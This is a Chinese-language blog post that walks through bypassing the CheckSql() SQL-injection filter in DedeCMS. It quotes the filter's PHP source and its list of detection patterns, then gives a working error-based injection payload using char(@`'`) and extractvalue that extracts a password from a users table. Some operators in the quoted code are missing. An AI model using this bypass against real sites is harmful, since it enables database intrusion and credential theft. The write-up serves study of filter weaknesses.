Bypass Checksql

dedeCMS的CheckSql()函数,80sec开发的通用防注入ids程序..是个比较老的东西了..但是最近挖洞的时候碰到了..绕了一下,直接关键词丢google就找到了一篇文章,还搞到了函数的源码,大概地看了一下,这里就记录一下吧 先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function CheckSql($sql, $querytype='select') 
{
$clean = '';
$error = '';
$pos = -1;
$old_pos = 0;
if($querytype == 'select')
{
if(preg_match('/[^0-9a-z@\._-]{1,}(unionsleepbenchmarkload_fileoutfile)[^0-9a-z@\.-]{1,}/', $sql))
{
print("$sqlSelectBreak");
}
}
while(true)
{
$pos = strpos($sql, '\'', $pos + 1);
if($pos === false)
{
break;
}
$clean .= substr($sql, $old_pos, $pos - $old_pos);
while(true)
{
$pos1 = strpos($sql, '\'', $pos + 1);
$pos2 = strpos($sql, '\\', $pos + 1);
if($pos1 === false)
{
break;
}
else if($pos2 == false $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($sql, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if(strpos($clean, 'union') !== false && preg_match('~(^[^a-z])union($[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error = 'union detect';
}
else if(strpos($clean, '/*') > 2 strpos($clean, '--') !== false strpos($clean, '#') !== false)
{
$fail = true;
$error = 'comment detect';
}
else if(strpos($clean, 'sleep') !== false && preg_match('~(^[^a-z])sleep($[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error = 'slown down detect';
}
else if(strpos($clean, 'benchmark') !== false && preg_match('~(^[^a-z])benchmark($[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error = 'slown down detect';
}
else if(strpos($clean, 'load_file') !== false && preg_match('~(^[^a-z])load_file($[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error = 'file fun detect';
}
else if(strpos($clean, 'into outfile') !== false && preg_match('~(^[^a-z])into\s+outfile($[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error = 'file fun detect';
}
else if(preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error = 'sub select detect';
}
if(!empty($fail))
{
print("$sql,$error");
}
else
{
return $sql;
}
}

首先我们看一下payload,本地测试一下,用的sql语句为

1
SELECT * FROM `dy_zgz` WHERE id=78 and (sElecT(now()))

然后把\(clean给echo出来,得到结果: ![blacsheep](/images/2018/06/1.jpg) 可以看到第二个语句的子查询被detect了,那么怎么bypass呢? 发现前面的while把函数中在单引号间的东西换成\)s$然后再把sql语句拿去检测,那么我们测试用单引号包含我们的sql语句

1
SELECT * FROM `dy_zgz` WHERE id=78 and '(sElecT(now()))'

得到结果 blacsheep 这次就没有被detect到,即使查询是相同的,因为丢进去查询的是$clean,也即第一个sql语句,里面并没有select相关句,所以成功bypass 那么如何利用呢,这里用到in和反引号来绕过,mysql中@可以定义一个变量,反引号来转义单引号,那么我们就可以构造出下面的句子

1
SELECT username FROM users WHERE is_admin=1 AND is_admin in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),char(@`'`))

我们先看char(@'),默认定义变量是为空的,所以提取结果如下 blacsheep 那么这样报错注入的地方就会执行,于是就会返回报错信息,比如 blacsheep 明白了原理,绕过也就不难了. 给出两篇参考链接 http://goodwaf.com/2016/11/30/DedeCMS-CheckSql%E5%87%BD%E6%95%B0%E7%BB%95%E8%BF%87/ http://blogs.360.cn/360webscan/2013/08/12/oracle10g-unwrap%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90-by-genxor/ 还是多学习多见识吧...近期多打打实际环境,后续碰到的东西也会慢慢发出来.